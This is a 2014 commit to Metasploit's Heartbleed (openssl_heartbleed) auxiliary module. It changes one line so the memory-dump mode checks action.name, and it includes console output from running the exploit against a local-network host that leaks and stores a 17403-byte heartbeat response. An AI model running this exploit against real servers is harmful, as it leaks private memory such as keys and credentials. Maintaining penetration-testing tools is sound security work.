Fix Action => DUMP

Fix for when Action is set to DUMP. Modifed the check to use action.name.

Console output:

msf auxiliary(openssl_heartbleed) > set action DUMP
action => DUMP
msf auxiliary(openssl_heartbleed) > run

[*] 192.168.1.3:443 - Sending Client Hello...
[*] 192.168.1.3:443 - Sending Heartbeat...
[*] 192.168.1.3:443 - Heartbeat response, 17403 bytes
[+] 192.168.1.3:443 - Heartbeat response with leak
[*] 192.168.1.3:443 - Heartbeat data stored in /root/.msf4/loot/20140418070745_default_192.168.1.3_openssl.heartble_135938.bin
[*] 192.168.1.3:443 - Printable info leaked: STUFF STUFF STUFF
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
bug/bundler_fix
Zinterax 2014-04-18 07:08:12 -04:00
parent 1cf1616341
commit fab091ca88
1 changed files with 1 additions and 1 deletions

View File

@ -351,7 +351,7 @@ class Metasploit3 < Msf::Auxiliary
:refs => self.references, :refs => self.references,
:info => "Module #{self.fullname} successfully leaked info" :info => "Module #{self.fullname} successfully leaked info"
}) })
if datastore['MODE'] == 'DUMP' # Check mode, dump if requested. if action.name == 'DUMP' # Check mode, dump if requested.
pattern = datastore['DUMPFILTER'] pattern = datastore['DUMPFILTER']
if pattern if pattern
match_data = heartbeat_data.scan(pattern).join match_data = heartbeat_data.scan(pattern).join